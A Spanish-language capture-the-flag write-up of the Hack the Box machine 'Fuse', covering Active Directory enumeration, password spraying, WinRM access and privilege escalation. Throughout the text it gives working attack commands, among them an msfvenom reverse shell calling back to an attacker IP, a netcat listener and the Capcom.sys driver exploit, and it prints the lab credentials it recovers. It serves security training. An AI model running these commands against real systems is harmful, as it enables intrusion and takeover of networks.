En este post voy a vulnerar la máquina Fuse de Hack the Box. Es una máquina Windows de nivel medio basado en impresoras en un entorno corporativo, lo que hace que sea una máquina bastante realista.
Enumeración
Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap --top-ports 5000 --min-rate 5000 --open -n 10.10.10.193

Como veo que se está ejecutando samba en los puertos 139 y 445 ejecuto el script smb-os-discovery para averiguar la versión del sistema operativo.
nmap --script smb-os-discovery 10.10.10.193

Como puedo ver en la imagen anterior, se trata de un Windows Server 2016 Standard con un dominio llamado fabricorp.local.
Volviendo a los puertos descubiertos, en la máquina hay catorce puertos abiertos. Escaneo todos los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,49678 -sV -sC 10.10.10.193 Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-15 23:38 CEST Nmap scan report for 10.10.10.193 Host is up (0.12s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-10-15 21:57:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49678/tcp open msrpc Microsoft Windows RPC Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h39m04s, deviation: 4h02m31s, median: 19m02s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Fuse | NetBIOS computer name: FUSE\x00 | Domain name: fabricorp.local | Forest name: fabricorp.local | FQDN: Fuse.fabricorp.local |_ System time: 2021-10-15T14:58:17-07:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2021-10-15T21:58:15 |_ start_date: 2021-10-15T21:52:54 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 100.22 seconds
Entro en la web y me redirige a la dirección http://fuse.fabricorp.local/papercut/logs/html/index.htm pero no puede encontrar el sitio. Esto se debe a que necesito resolver (asociar) el nombre del dominio a la dirección IP.


Una vez lo añado, vuelvo a entrar en la web y me encuentro una pantalla de la aplicación de registro Paper Cut Print. Busco un poco de información sobre la aplicación y descubro que es un gestor que proporciona un seguimiento de la actividad en tiempo real que recoge, entre otras cosas, los nombre de todos los usuarios que han usado la impresora.

Accedo a los registros que se muestran en pantalla y recojo todos los nombres de los usuarios que encuentro.



Como no tengo acceso a ninguna contraseña, voy a generar un diccionario con todas las palabras que se puedan encontrar en la web, obteniendo un total de 176 palabras.
cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > dic.txt wc -w dic.txt

Explotación
Con los usuarios obtenidos de la web y el diccionario que he generado, voy a hacer un fuzzing con crackmapexec para intentar conseguir credenciales de acceso.
crackmapexec smb 10.10.10.193 -u user.txt -p dic.txt --continue-on-success | grep -v FAILURE

Encuentro dos credenciales válidas tlavel:Fabricorp01 y bhult:Fabricorp01 pero en las dos aparece el mensaje STATUS_PASSWORD_MUST_CHANGE que indica que las credenciales son válidas pero han expirado por lo que tengo que cambiarlas para poder acceder con alguno de los usuarios.
smbpasswd -r 10.10.10.193 -U 'tlavel'

Vuelvo a ejecutar crackmapexec para listar los directorios compartidos para comprobar que el cambio de contraseña ha funcionado.
crackmapexec smb 10.10.10.193 -u tlavel -p Qwerty1 --shares

No descubro nada al investigar los recursos compartidos a los que tengo acceso con el usuario tlavel.
Como RPC está disponible, y estoy en un directorio activo, me conecto a través de rpcclient con las mismas credenciales y enumero los usuarios y las impresoras del dominio.
rpcclient -U tlavel 10.10.10.193 Enter WORKGROUP\tlavel's password: rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[svc-print] rid:[0x450] user:[bnielson] rid:[0x451] user:[sthompson] rid:[0x641] user:[tlavel] rid:[0x642] user:[pmerton] rid:[0x643] user:[svc-scan] rid:[0x645] user:[bhult] rid:[0x1bbd] user:[dandrews] rid:[0x1bbe] user:[mberbatov] rid:[0x1db1] user:[astein] rid:[0x1db2] user:[dmuir] rid:[0x1db3] rpcclient $> enumprinters flags:[0x800000] name:[\\10.10.10.193\HP-MFT01] description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] comment:[]


He descubierto nuevos usuarios y la contraseña $fab@s3Rv1ce$1.
cat rcpuser.txt | awk -F] '{print $1}' | awk -F[ '{print $2}' > rcpuser2.txt
cat rcpuser2.txt
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir
Ejecuto estas nuevas credenciales en crackmapexec y encuentro dos usuarios que usan esta contraseña.
crackmapexec smb 10.10.10.193 -u rcpuser2.txt -p pass.txt --continue-on-success | grep -v FAILURE fabricorp.local\svc-print:$fab@s3Rv1ce$1 fabricorp.local\svc-scan:$fab@s3Rv1ce$1

En lugar de enumerar los recursos compartidos de SMB de estos usuarios voy a comprobar si alguno de ellos puede conectarse de forma de remota utilizando WinRM. Para ello puedo utilizar crackmapexec.
crackmapexec winrm 10.10.10.193 -u rcpuser2.txt -p pass.txt --continue-on-success | grep -v FAILURE svc-print:$fab@s3Rv1ce$1

Puedo obtener una shell de WinRM con las credenciales svc-print:$fab@s3Rv1ce$1 con la herramienta Evil-WinRM.
evil-winrm -i 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'

Una vez dentro de la máquina, encuentro la shell de usuario en la ruta C:\Users\svc-print-Desktop\user.txt.

Escalada de Privilegios
Enumero los privielgios de mi usuario y veo SeLoadDriverPrivilege está habilitado.

Buscando en google como escalar privilegios con SeLoadDriverPrivilege llego a esta publicación de TarLogic donde explican como hacerlo pero realizaré un cambio en una parte del código para obtener una shell reversa.
En primer lugar tengo que descargar y compilar como un fichero .exe este binario escrito en C++ del repositorio de github de TarLogic. Para ello abro Visual Studio 2022 RC.

Creo un nuevo proyecto de Aplicación de consola para C++ al que llamaré LoadDriver.
En las siguientes imágenes aparece con el
LoadDriverPriv. Esto se debe a que fueron tomadas en una primera PoC en lugar de hacerlo cuando se desarrolló esta guia.


Borro por completo el código que aparece en el .cpp generado y pego en su lugar el que aparece en el binario que he descargado de TarLogic. Es posible que el include «stdafx.h» genere un error pero puedo eliminar la línea sin que afecte a la integridad ni funcionalidad del binario.

Me aseguro que el proyecto está configurado en modo Release para x64 y hago click en compilar > Recompilar solución para generar el .exe.


Ahora me descargo el exploit de Capcom del github de Tandasat aquí. El problema es que este exploit genera una consola de nt authority\system en una nueva ventana en la máquina donde se explota pero puedo modificar el código para conseguir una shell reversa con netcat creada con msfvenom.
Tras descargar el exploit, abro el fichero ExploitCapcom.sln con Visual Studio.

Me dirijo a la línea 410 y sustituyo el contenido de TEXT por el siguiente.
C.\\Windows\\Temp\\evil.exe

Siguiendo el mismo proceso que con el fichero anterior, genero un binario .exe de fichero.
Luego genero una shell reversa en formato .exe con msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=7897 -f exe -o evil.exe
Y por último me descargo el binario Capcom.sys desde aquí.
Ya tengo todo lo que necesito para elevar privilegios. Me desplazo hasta el directorio C:\Windows\Temp y subo los cuatro ficheros a la máquina víctima.
upload Capcom.sys upload evil.exe upload ExploitCapcom.exe upload LoadDriver.exe

En mi máquina atacante pongo un netcat a la escucha por el puerto 7897.
rlwrap nc -nlvp 7897
Ejecuto la elevación de privilegios como indican desde el post de TarLogic y consigo la shell reversa de administrador.
C:\Windows\Temp> C:\Windows\Temp\LoadDriver.exe System\CurrentControlSet\evilshell C:\Windows\Temp\Capcom.sys C:\Windows\Temp> .\ExploitCapcom.exe


Encuentro la flag de root en la ruta C:\Users\Administrator\Desktop\root.txt.

